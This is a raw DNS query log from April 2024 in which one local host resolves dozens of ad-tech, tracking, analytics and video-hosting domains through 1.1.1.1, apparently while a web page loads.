Apr 11, 2024 23:27:38.674367905 CEST	192.168.2.17	1.1.1.1	0xff8	Standard query (0)	hb.yahoo.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:38.674500942 CEST	192.168.2.17	1.1.1.1	0xec5a	Standard query (0)	hb.yahoo.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:39.099380970 CEST	192.168.2.17	1.1.1.1	0x416b	Standard query (0)	s2s.t13.io	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:39.099575996 CEST	192.168.2.17	1.1.1.1	0xf05e	Standard query (0)	s2s.t13.io	65	IN (0x0001)	false
Apr 11, 2024 23:27:40.577820063 CEST	192.168.2.17	1.1.1.1	0xb5d8	Standard query (0)	securepubads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:40.577977896 CEST	192.168.2.17	1.1.1.1	0x9f3b	Standard query (0)	securepubads.g.doubleclick.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:42.180849075 CEST	192.168.2.17	1.1.1.1	0x3384	Standard query (0)	triplelift-match.dotomi.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:42.181000948 CEST	192.168.2.17	1.1.1.1	0x77f0	Standard query (0)	triplelift-match.dotomi.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:42.193973064 CEST	192.168.2.17	1.1.1.1	0xbe9d	Standard query (0)	s.company-target.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:42.194137096 CEST	192.168.2.17	1.1.1.1	0xef22	Standard query (0)	s.company-target.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:42.195401907 CEST	192.168.2.17	1.1.1.1	0x68df	Standard query (0)	us.creativecdn.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:42.195564032 CEST	192.168.2.17	1.1.1.1	0xaf69	Standard query (0)	us.creativecdn.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:42.312757969 CEST	192.168.2.17	1.1.1.1	0x6228	Standard query (0)	triplelift-match.dotomi.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:45.759532928 CEST	192.168.2.17	1.1.1.1	0xc35	Standard query (0)	id5-sync.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:45.759680033 CEST	192.168.2.17	1.1.1.1	0x3e84	Standard query (0)	id5-sync.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:45.762278080 CEST	192.168.2.17	1.1.1.1	0x74ff	Standard query (0)	sync.adotmob.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:45.762409925 CEST	192.168.2.17	1.1.1.1	0x4cc9	Standard query (0)	sync.adotmob.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:46.493653059 CEST	192.168.2.17	1.1.1.1	0x2b72	Standard query (0)	rtb-csync.smartadserver.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:46.493796110 CEST	192.168.2.17	1.1.1.1	0x3f65	Standard query (0)	rtb-csync.smartadserver.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:49.664199114 CEST	192.168.2.17	1.1.1.1	0xd64b	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:49.664350033 CEST	192.168.2.17	1.1.1.1	0xfc57	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:51.502115011 CEST	192.168.2.17	1.1.1.1	0xb8bc	Standard query (0)	u.openx.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:51.502372026 CEST	192.168.2.17	1.1.1.1	0x8d09	Standard query (0)	u.openx.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:52.895127058 CEST	192.168.2.17	1.1.1.1	0x9ee7	Standard query (0)	ps.eyeota.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:52.895309925 CEST	192.168.2.17	1.1.1.1	0x7eed	Standard query (0)	ps.eyeota.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:55.659513950 CEST	192.168.2.17	1.1.1.1	0xe1e2	Standard query (0)	uipglob.semasio.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:55.659709930 CEST	192.168.2.17	1.1.1.1	0x6520	Standard query (0)	uipglob.semasio.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:58.653403044 CEST	192.168.2.17	1.1.1.1	0x4cf5	Standard query (0)	inv-nets.admixer.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:58.653573036 CEST	192.168.2.17	1.1.1.1	0xcfbd	Standard query (0)	inv-nets.admixer.net	65	IN (0x0001)	false
Apr 11, 2024 23:28:01.775254965 CEST	192.168.2.17	1.1.1.1	0xe146	Standard query (0)	analytics.tiktok.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:01.775485992 CEST	192.168.2.17	1.1.1.1	0x5ab7	Standard query (0)	analytics.tiktok.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:04.218158007 CEST	192.168.2.17	1.1.1.1	0x30d4	Standard query (0)	ct.pinterest.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:04.218462944 CEST	192.168.2.17	1.1.1.1	0x20b2	Standard query (0)	ct.pinterest.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:04.224716902 CEST	192.168.2.17	1.1.1.1	0x2351	Standard query (0)	imp-dev.mediavine.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:04.224858046 CEST	192.168.2.17	1.1.1.1	0xc67b	Standard query (0)	imp-dev.mediavine.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:04.231411934 CEST	192.168.2.17	1.1.1.1	0xcb83	Standard query (0)	c.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:04.231565952 CEST	192.168.2.17	1.1.1.1	0x3023	Standard query (0)	c.amazon-adsystem.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:04.240796089 CEST	192.168.2.17	1.1.1.1	0x4f81	Standard query (0)	analytics.google.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:04.241159916 CEST	192.168.2.17	1.1.1.1	0x8d1e	Standard query (0)	analytics.google.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:04.243278980 CEST	192.168.2.17	1.1.1.1	0x51ae	Standard query (0)	some.growplow.events	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:04.243765116 CEST	192.168.2.17	1.1.1.1	0xed54	Standard query (0)	some.growplow.events	65	IN (0x0001)	false
Apr 11, 2024 23:28:05.076157093 CEST	192.168.2.17	1.1.1.1	0x7746	Standard query (0)	jslink.zapto.org	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.076316118 CEST	192.168.2.17	1.1.1.1	0xf0f1	Standard query (0)	jslink.zapto.org	65	IN (0x0001)	false
Apr 11, 2024 23:28:05.085469961 CEST	192.168.2.17	1.1.1.1	0xce99	Standard query (0)	player.vimeo.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.085628986 CEST	192.168.2.17	1.1.1.1	0x51f2	Standard query (0)	player.vimeo.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:05.090929031 CEST	192.168.2.17	1.1.1.1	0x79d7	Standard query (0)	static.hotjar.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.091104984 CEST	192.168.2.17	1.1.1.1	0xf6e0	Standard query (0)	static.hotjar.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:05.240334988 CEST	192.168.2.17	1.1.1.1	0xf673	Standard query (0)	widget.wickedreports.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.240533113 CEST	192.168.2.17	1.1.1.1	0x9ccb	Standard query (0)	widget.wickedreports.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:05.268728971 CEST	192.168.2.17	1.1.1.1	0xd5cb	Standard query (0)	googleads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.269186974 CEST	192.168.2.17	1.1.1.1	0xe455	Standard query (0)	googleads.g.doubleclick.net	65	IN (0x0001)	false
Apr 11, 2024 23:28:05.273315907 CEST	192.168.2.17	1.1.1.1	0x64a5	Standard query (0)	td.doubleclick.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.273473978 CEST	192.168.2.17	1.1.1.1	0x1391	Standard query (0)	td.doubleclick.net	65	IN (0x0001)	false
Apr 11, 2024 23:28:05.548058987 CEST	192.168.2.17	1.1.1.1	0xbdf8	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.548202038 CEST	192.168.2.17	1.1.1.1	0x3d4d	Standard query (0)	www.facebook.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:05.564274073 CEST	192.168.2.17	1.1.1.1	0xeffe	Standard query (0)	stats.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.564409971 CEST	192.168.2.17	1.1.1.1	0x920d	Standard query (0)	stats.g.doubleclick.net	65	IN (0x0001)	false
Apr 11, 2024 23:28:05.579005957 CEST	192.168.2.17	1.1.1.1	0xabdf	Standard query (0)	scripts.mediavine.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.579204082 CEST	192.168.2.17	1.1.1.1	0x5e8c	Standard query (0)	scripts.mediavine.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:05.610672951 CEST	192.168.2.17	1.1.1.1	0xbd2f	Standard query (0)	exchange.mediavine.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.610822916 CEST	192.168.2.17	1.1.1.1	0xa5a3	Standard query (0)	exchange.mediavine.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:05.631618023 CEST	192.168.2.17	1.1.1.1	0x1b0c	Standard query (0)	keywords.mediavine.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.631803036 CEST	192.168.2.17	1.1.1.1	0xa01f	Standard query (0)	keywords.mediavine.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:05.737374067 CEST	192.168.2.17	1.1.1.1	0x4f68	Standard query (0)	faves.grow.me	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.737514973 CEST	192.168.2.17	1.1.1.1	0xf7c6	Standard query (0)	faves.grow.me	65	IN (0x0001)	false
Apr 11, 2024 23:28:05.747157097 CEST	192.168.2.17	1.1.1.1	0x80fd	Standard query (0)	fresnel.vimeocdn.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.747445107 CEST	192.168.2.17	1.1.1.1	0x343c	Standard query (0)	fresnel.vimeocdn.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:05.747947931 CEST	192.168.2.17	1.1.1.1	0x6d90	Standard query (0)	i.vimeocdn.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.748119116 CEST	192.168.2.17	1.1.1.1	0xa5ce	Standard query (0)	i.vimeocdn.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:05.748305082 CEST	192.168.2.17	1.1.1.1	0x4c3c	Standard query (0)	f.vimeocdn.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.748538017 CEST	192.168.2.17	1.1.1.1	0x4283	Standard query (0)	f.vimeocdn.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:05.912014961 CEST	192.168.2.17	1.1.1.1	0x1684	Standard query (0)	ct.pinterest.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.912273884 CEST	192.168.2.17	1.1.1.1	0xf191	Standard query (0)	ct.pinterest.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:05.989484072 CEST	192.168.2.17	1.1.1.1	0x4c49	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.989638090 CEST	192.168.2.17	1.1.1.1	0xa834	Standard query (0)	www.facebook.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:06.167329073 CEST	192.168.2.17	1.1.1.1	0x3551	Standard query (0)	stats.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:06.167467117 CEST	192.168.2.17	1.1.1.1	0xe18c	Standard query (0)	stats.g.doubleclick.net	65	IN (0x0001)	false
Apr 11, 2024 23:28:06.236375093 CEST	192.168.2.17	1.1.1.1	0x8286	Standard query (0)	i.vimeocdn.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:06.236531019 CEST	192.168.2.17	1.1.1.1	0xf3c2	Standard query (0)	i.vimeocdn.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:07.883964062 CEST	192.168.2.17	1.1.1.1	0xef38	Standard query (0)	api.grow.me	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:07.884466887 CEST	192.168.2.17	1.1.1.1	0x1b83	Standard query (0)	api.grow.me	65	IN (0x0001)	false
Apr 11, 2024 23:28:08.326678991 CEST	192.168.2.17	1.1.1.1	0x67fb	Standard query (0)	api.grow.me	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:08.326853991 CEST	192.168.2.17	1.1.1.1	0xd55a	Standard query (0)	api.grow.me	65	IN (0x0001)	false
Apr 11, 2024 23:28:08.355490923 CEST	192.168.2.17	1.1.1.1	0xad26	Standard query (0)	app.grow.me	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:08.355650902 CEST	192.168.2.17	1.1.1.1	0x3d3d	Standard query (0)	app.grow.me	65	IN (0x0001)	false
Apr 11, 2024 23:28:10.863836050 CEST	192.168.2.17	1.1.1.1	0xcd8	Standard query (0)	sda.fyi	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:10.863972902 CEST	192.168.2.17	1.1.1.1	0x5400	Standard query (0)	sda.fyi	65	IN (0x0001)	false
Apr 11, 2024 23:28:10.882631063 CEST	192.168.2.17	1.1.1.1	0x1858	Standard query (0)	scripts.mediavine.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:10.882775068 CEST	192.168.2.17	1.1.1.1	0x7ba1	Standard query (0)	scripts.mediavine.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:10.922435045 CEST	192.168.2.17	1.1.1.1	0x3b2c	Standard query (0)	exchange.mediavine.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:10.922749043 CEST	192.168.2.17	1.1.1.1	0xe751	Standard query (0)	exchange.mediavine.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:10.966070890 CEST	192.168.2.17	1.1.1.1	0xe514	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:10.966204882 CEST	192.168.2.17	1.1.1.1	0x35b	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:10.975363970 CEST	192.168.2.17	1.1.1.1	0xf6c3	Standard query (0)	pdmp.dcapi.tagger.opecloud.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:10.975578070 CEST	192.168.2.17	1.1.1.1	0x5f0f	Standard query (0)	pdmp.dcapi.tagger.opecloud.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:10.976569891 CEST	192.168.2.17	1.1.1.1	0xbbce	Standard query (0)	pdmp.papi-public.us-east-1.tagger.opecloud.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:10.976720095 CEST	192.168.2.17	1.1.1.1	0x1b5c	Standard query (0)	pdmp.papi-public.us-east-1.tagger.opecloud.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:11.096048117 CEST	192.168.2.17	1.1.1.1	0x876c	Standard query (0)	htlb.casalemedia.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.096208096 CEST	192.168.2.17	1.1.1.1	0xd651	Standard query (0)	htlb.casalemedia.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:11.117726088 CEST	192.168.2.17	1.1.1.1	0x444e	Standard query (0)	prebid-server.rubiconproject.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.117891073 CEST	192.168.2.17	1.1.1.1	0x23f7	Standard query (0)	prebid-server.rubiconproject.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:11.119045973 CEST	192.168.2.17	1.1.1.1	0x477f	Standard query (0)	tlx.3lift.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.119201899 CEST	192.168.2.17	1.1.1.1	0x5ddd	Standard query (0)	tlx.3lift.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:11.119596958 CEST	192.168.2.17	1.1.1.1	0x527b	Standard query (0)	fastlane.rubiconproject.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.119740963 CEST	192.168.2.17	1.1.1.1	0x76f5	Standard query (0)	fastlane.rubiconproject.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:11.217570066 CEST	192.168.2.17	1.1.1.1	0x685c	Standard query (0)	imp-dev.mediavine.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.217714071 CEST	192.168.2.17	1.1.1.1	0x4681	Standard query (0)	imp-dev.mediavine.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:11.379609108 CEST	192.168.2.17	1.1.1.1	0xf4f9	Standard query (0)	aax.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.379748106 CEST	192.168.2.17	1.1.1.1	0x9193	Standard query (0)	aax.amazon-adsystem.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:11.450622082 CEST	192.168.2.17	1.1.1.1	0xc257	Standard query (0)	pdmp.dcapi.tagger.opecloud.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.450781107 CEST	192.168.2.17	1.1.1.1	0x663	Standard query (0)	pdmp.dcapi.tagger.opecloud.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:11.453409910 CEST	192.168.2.17	1.1.1.1	0x42b9	Standard query (0)	pdmp.papi-public.us-east-1.tagger.opecloud.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.453582048 CEST	192.168.2.17	1.1.1.1	0x552f	Standard query (0)	pdmp.papi-public.us-east-1.tagger.opecloud.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:11.541876078 CEST	192.168.2.17	1.1.1.1	0xd31f	Standard query (0)	ap.lijit.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.542146921 CEST	192.168.2.17	1.1.1.1	0xf907	Standard query (0)	ap.lijit.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:11.621711969 CEST	192.168.2.17	1.1.1.1	0x5282	Standard query (0)	secure-assets.rubiconproject.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.621855974 CEST	192.168.2.17	1.1.1.1	0x78e	Standard query (0)	secure-assets.rubiconproject.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:11.656428099 CEST	192.168.2.17	1.1.1.1	0x36d7	Standard query (0)	ads.yieldmo.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.656604052 CEST	192.168.2.17	1.1.1.1	0x3168	Standard query (0)	ads.yieldmo.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:11.660126925 CEST	192.168.2.17	1.1.1.1	0x4e74	Standard query (0)	exchange.journeymv.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.660348892 CEST	192.168.2.17	1.1.1.1	0x38ce	Standard query (0)	exchange.journeymv.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:11.734409094 CEST	192.168.2.17	1.1.1.1	0x241	Standard query (0)	ib.adnxs.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.734574080 CEST	192.168.2.17	1.1.1.1	0xe825	Standard query (0)	ib.adnxs.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:11.737168074 CEST	192.168.2.17	1.1.1.1	0x303f	Standard query (0)	htlb.casalemedia.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.737322092 CEST	192.168.2.17	1.1.1.1	0xebc2	Standard query (0)	htlb.casalemedia.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:11.970340967 CEST	192.168.2.17	1.1.1.1	0x2741	Standard query (0)	exchange.mediavine.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.970499039 CEST	192.168.2.17	1.1.1.1	0x782a	Standard query (0)	exchange.mediavine.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:12.035681009 CEST	192.168.2.17	1.1.1.1	0xc0eb	Standard query (0)	ce.lijit.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.035818100 CEST	192.168.2.17	1.1.1.1	0x4387	Standard query (0)	ce.lijit.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:12.046958923 CEST	192.168.2.17	1.1.1.1	0xdef	Standard query (0)	gw-iad-bid.ymmobi.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.047106981 CEST	192.168.2.17	1.1.1.1	0xd94	Standard query (0)	gw-iad-bid.ymmobi.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:12.050394058 CEST	192.168.2.17	1.1.1.1	0xbb13	Standard query (0)	dm-us.hybrid.ai	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.050563097 CEST	192.168.2.17	1.1.1.1	0xaf0d	Standard query (0)	dm-us.hybrid.ai	65	IN (0x0001)	false
Apr 11, 2024 23:28:12.052099943 CEST	192.168.2.17	1.1.1.1	0x6e2e	Standard query (0)	cookies.nextmillmedia.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.052248955 CEST	192.168.2.17	1.1.1.1	0x824e	Standard query (0)	cookies.nextmillmedia.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:12.052584887 CEST	192.168.2.17	1.1.1.1	0x30e8	Standard query (0)	cm-supply-web.gammaplatform.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.052866936 CEST	192.168.2.17	1.1.1.1	0xfe0f	Standard query (0)	cm-supply-web.gammaplatform.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:12.053699970 CEST	192.168.2.17	1.1.1.1	0xc120	Standard query (0)	sync.smartadserver.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.053850889 CEST	192.168.2.17	1.1.1.1	0x958	Standard query (0)	sync.smartadserver.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:12.062124014 CEST	192.168.2.17	1.1.1.1	0x9730	Standard query (0)	gw-iad-bid.ymmobi.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.062383890 CEST	192.168.2.17	1.1.1.1	0xebb9	Standard query (0)	gw-iad-bid.ymmobi.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:12.071800947 CEST	192.168.2.17	1.1.1.1	0x4b0b	Standard query (0)	eus.rubiconproject.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.071955919 CEST	192.168.2.17	1.1.1.1	0x33bf	Standard query (0)	eus.rubiconproject.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:12.463031054 CEST	192.168.2.17	1.1.1.1	0x6b94	Standard query (0)	dpm.demdex.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.463171005 CEST	192.168.2.17	1.1.1.1	0x9db7	Standard query (0)	dpm.demdex.net	65	IN (0x0001)	false
Apr 11, 2024 23:28:12.509160995 CEST	192.168.2.17	1.1.1.1	0x7809	Standard query (0)	ads.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.509321928 CEST	192.168.2.17	1.1.1.1	0xd98f	Standard query (0)	ads.scorecardresearch.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:12.552613974 CEST	192.168.2.17	1.1.1.1	0x2759	Standard query (0)	ap.lijit.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.552978039 CEST	192.168.2.17	1.1.1.1	0xd5a1	Standard query (0)	ap.lijit.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:12.555524111 CEST	192.168.2.17	1.1.1.1	0xe5c1	Standard query (0)	openrtb-us-east-1.axonix.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.555672884 CEST	192.168.2.17	1.1.1.1	0xbb78	Standard query (0)	openrtb-us-east-1.axonix.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:12.556440115 CEST	192.168.2.17	1.1.1.1	0x4f1f	Standard query (0)	s.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.556586027 CEST	192.168.2.17	1.1.1.1	0x8548	Standard query (0)	s.amazon-adsystem.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:12.591747046 CEST	192.168.2.17	1.1.1.1	0x523e	Standard query (0)	cookies.nextmillmedia.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.591913939 CEST	192.168.2.17	1.1.1.1	0x9e04	Standard query (0)	cookies.nextmillmedia.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:12.934566021 CEST	192.168.2.17	1.1.1.1	0x7a52	Standard query (0)	sync-tm.everesttech.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.934714079 CEST	192.168.2.17	1.1.1.1	0x5f1d	Standard query (0)	sync-tm.everesttech.net	65	IN (0x0001)	false
Apr 11, 2024 23:28:12.935775042 CEST	192.168.2.17	1.1.1.1	0xc43e	Standard query (0)	cm.adgrx.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.935966969 CEST	192.168.2.17	1.1.1.1	0x8442	Standard query (0)	cm.adgrx.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:12.937644005 CEST	192.168.2.17	1.1.1.1	0x47ad	Standard query (0)	sync.smartadserver.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.937793970 CEST	192.168.2.17	1.1.1.1	0x575e	Standard query (0)	sync.smartadserver.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:12.987658978 CEST	192.168.2.17	1.1.1.1	0xcee2	Standard query (0)	ads.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.987803936 CEST	192.168.2.17	1.1.1.1	0x53a9	Standard query (0)	ads.scorecardresearch.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:13.023298025 CEST	192.168.2.17	1.1.1.1	0x3a2c	Standard query (0)	cs.yellowblue.io	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.023443937 CEST	192.168.2.17	1.1.1.1	0x739f	Standard query (0)	cs.yellowblue.io	65	IN (0x0001)	false
Apr 11, 2024 23:28:13.027535915 CEST	192.168.2.17	1.1.1.1	0xb68d	Standard query (0)	cs.minutemedia-prebid.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.027688980 CEST	192.168.2.17	1.1.1.1	0xf754	Standard query (0)	cs.minutemedia-prebid.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:13.028379917 CEST	192.168.2.17	1.1.1.1	0x410d	Standard query (0)	visitor.omnitagjs.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.028501034 CEST	192.168.2.17	1.1.1.1	0xcedc	Standard query (0)	visitor.omnitagjs.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:13.030378103 CEST	192.168.2.17	1.1.1.1	0xb8a6	Standard query (0)	sync.outbrain.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.030530930 CEST	192.168.2.17	1.1.1.1	0x8a56	Standard query (0)	sync.outbrain.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:13.031086922 CEST	192.168.2.17	1.1.1.1	0x4545	Standard query (0)	rubicon-match.dotomi.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.031224012 CEST	192.168.2.17	1.1.1.1	0x93fa	Standard query (0)	rubicon-match.dotomi.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:13.063278913 CEST	192.168.2.17	1.1.1.1	0x9f46	Standard query (0)	s.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.063429117 CEST	192.168.2.17	1.1.1.1	0x2caa	Standard query (0)	s.amazon-adsystem.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:13.069936991 CEST	192.168.2.17	1.1.1.1	0xb37b	Standard query (0)	securepubads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.070092916 CEST	192.168.2.17	1.1.1.1	0xa8f2	Standard query (0)	securepubads.g.doubleclick.net	65	IN (0x0001)	false
Apr 11, 2024 23:28:13.100043058 CEST	192.168.2.17	1.1.1.1	0x8f75	Standard query (0)	cm.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.100209951 CEST	192.168.2.17	1.1.1.1	0x50ca	Standard query (0)	cm.g.doubleclick.net	65	IN (0x0001)	false
Apr 11, 2024 23:28:13.109550953 CEST	192.168.2.17	1.1.1.1	0x464e	Standard query (0)	x.bidswitch.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.109705925 CEST	192.168.2.17	1.1.1.1	0x6a0b	Standard query (0)	x.bidswitch.net	65	IN (0x0001)	false
Apr 11, 2024 23:28:13.245132923 CEST	192.168.2.17	1.1.1.1	0x3ecb	Standard query (0)	player-telemetry.vimeo.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.245285988 CEST	192.168.2.17	1.1.1.1	0x1f14	Standard query (0)	player-telemetry.vimeo.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:13.411422968 CEST	192.168.2.17	1.1.1.1	0x78d6	Standard query (0)	dpm.demdex.net	A (IP address)	IN (0x0001)	false
